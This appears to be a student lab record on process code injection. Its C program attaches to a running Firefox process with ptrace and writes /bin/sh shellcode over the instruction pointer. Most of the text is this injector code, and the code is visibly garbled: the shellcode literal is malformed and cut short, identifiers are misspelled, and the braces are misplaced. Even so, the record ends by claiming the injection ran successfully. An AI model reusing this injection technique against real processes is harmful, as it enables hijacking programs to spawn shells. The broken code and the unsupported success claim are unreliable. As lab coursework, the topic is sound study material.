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PROCESS CODE INJECTION

Aim:

To do process code injection on Firefox using ptrace system call.

Algorithm:

- 1. Find out the pid of the running Firefox program.
- 2. Create the code injection file.
- 3. Get the pid of the Firefox from the command line arguments.
- 4. Allocate memory buffers for the shellcode.
- 5. Attach to the victim process with PTRACE_ATTACH.
- 6. Get the register values of the attached process.
- 7. Use PTRACE_POKETEXT to insert the shellcode.
- 8. Detach from the victim process using PTRACE_DETACH

Output:

injector.c program:

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# include <stdio.h>//C standard input output
# include <stdlib.h>//C Standard General Utilities Library
# include <string.h>//C string lib header
# include <unistd.h>//standard symbolic constants and types
# include <sys/wait.h>//declarations for waiting
# include <sys/ptrace.h>//gives access to ptrace functionality
# include <sys/user.h>//gives ref to regs
//The shellcode that calls /bin/sh
char shellcode[]={
\x 31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97"
}:
//header for our program.
void header()
{
      printf("----Memory bytecode injector ----\n");
```

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 }
//main program notice we take command line options
int main(int argc,char**argv)
 {
        int i,size,pid=0;
        struct user_regs_struct reg;//struct that gives access to registers
                         //note that this regs will be in x64 for me
                         //unless your using 32bit then eip,eax,edx etc...
        char*buff;
        header();
        //we get the command line options and assign them appropriately!
        pid=atoi(argv[1]);
        size=sizeof(shellcode);
        //allocate a char size memory
        buff=(char*)malloc(size);
        //fill the buff memory with 0s upto size
        memset(buff,0x0,size);
        //copy shellcode from source to destination
        memcpy(buff,shellcode,sizeof(shellcode));
        //attach process of pid
        ptrace(PTRACE ATTACH,pid,0,0);
        //wait for child to change state
        wait((int*)0);
        //get process pid registers i.e Copy the process pid's general-purpose
        //or floating-point registers, respectively,
        //to the address reg in the tracer
        ptrace(PTRACE_GETREGS,pid,0,&reg);
        printf("Writing EIP 0x%x, process %d\n",reg.rip,pid);
        //Copy the word data to the address buff in the process's memory
        for(i=0;i \le size;i++)
        ptrace(PTRACE_POKETEXT,pid,reg.rip+i,*(int*)(buff+i));
 }
   //detach from the process and free buff memory
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ptrace(PTRACE_DETACH,pid,0,0);

free(buff);
return 0;

}

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Result: Thus, the process code injection on Firefox has been successfully executed.